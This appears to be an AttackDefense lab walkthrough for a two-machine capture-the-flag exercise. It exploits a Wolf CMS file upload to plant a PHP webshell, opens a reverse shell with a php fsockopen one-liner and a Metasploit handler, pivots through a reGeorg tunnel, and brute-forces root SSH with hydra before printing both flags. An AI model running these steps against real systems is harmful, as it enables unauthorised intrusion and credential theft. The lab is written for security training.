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Important Note: This document illustrates all the important steps required to complete this lab.              
This is by no means a comprehensive step-by-step solution for this exercise. This is only               
provided as a reference to various commands needed to complete this exercise and for your               
further research on this topic.  
 
The challenge descriptions makes it clear that there are two machines on different networks. 
The objective is to retrieve two flags stored on these machines. 
 
Step 1: ​Check the IP address of our Kali machine. From the information given in the challenge 
description, that target A should be located at 192.147.219.3  
 
Command:​ ip addr  
 

 
 

https://www.attackdefense.com/challengedetails?cid=150


 
Step 2: ​Scan target A with nmap and observe that http and mysql services are running on it. 
 
Command:​ nmap 192.147.219.3 
 

 
 
For a detailed scan the following command can be used 
 
Command:​ nmap -p- -sV -script=banner 192.60.92.3 
 
Step 3: ​Access the web app using web browser and login into the webapp using the given 
credentials. 
 

 
 



 
 
Step 4: ​Search for public wolf cms exploits and select publicly available Arbitrary File 
Upload/Execution exploit. 
 

 
 
 
Step 5: ​As per the exploit writeup one can upload any PHP file to the server. Upload a webshell 
on it which enables command execution on the server. The webshells are present in 
/usr/share/webshells/.  
 

 
 



 
 
Step 6: ​Upload the webshell named php-backdoor.php 
 

 
 
 
Step 7: ​Access the uploaded webshell using the following URL:  
 
http://192.147.219.3/public/php-backdoor.php 
 

 
 
 
 



 
Step 8: ​To upgrade the webshell to an interactive shell,run php/reverse_php handler on the 
attacker Kali machine. 
 
Commands: 
msfconsole 
use exploit/multi/handler 
set payload php/reverse_php 
show options 
set LHOST 192.147.219.2 
exploit 
 

 
 
 
Step 9: ​Once the listener is up, navigate to the webshell and execute the following command 
using the webshell 
 



 
Command:​ php -r '$sock=fsockopen("192.147.219.2",4444);exec("/bin/sh -i <&3 >&3 2>&3");' 
 
This command will connect back to reverse handler and we will get an interactive session. 
 

 
 
Step 10: ​After getting interactive session in metasploit, retrieve the flag and also check the IP 
information of the machine. 
  
Commands: 
whoami 
ip addr 
find / -name flag* 2>/dev/null 
cat /app/flag.txt 



 

 
 
Flag 1:​ 17189f8af3efbca5511198c84bbf1e6d 



 
Step 11: ​Focus on target B machine.  Attacker doesn’t have high privileges on target A machine 
so normal port binding/forwarding approach won’t work. In this case, one can use reGeorg. 
 
To use reGeorg, first step is to upload the tunnel.php file to the webserver. 
  

 
 
 
Step 12: ​After uploading the file, use reGerog python script to create a proxy on the attacker 
system which will enable us to reach target B.  
 
 
Commands: 
cd Desktop/tools/reGeorg 
python reGeorgSocksProxy.py -p 9050 -u http://192.147.219.3/public/tunnel.php 
 
 
 



 
 
Step 13: ​Verify that the tunnel is holding by using netstat. 
 
Command: ​netstat -tnlp 
 

 
 
 



 
Step 14: ​Use proxychains to launch nmap scan on target B and observe that only SSH server is 
running on the target. 
 
Command:​ proxychains nmap -sT -Pn 192.139.6.3 
 

 
 
Step 15: ​Bruteforce the SSH credentials for user root by launching lydra over proxychains.  
 
Command:​ proxychains hydra -t 4 -l root -P 
/usr/share/seclists/Passwords/Leaked-Databases/rockyou-40.txt ssh://192.139.6.3 
 

 
 
Step 16: ​Use found valid credentials to SSH into target B (over proxychains) and retrieve the 
flag. 
 
Commands: 
proxychains ssh root@192.139.6.3 
find / -name flag* 



cat /root/flag.txt 

 
 
Flag 2:​ f9a32da38bf9fba2b6c7f7b7fe8709a2 
 


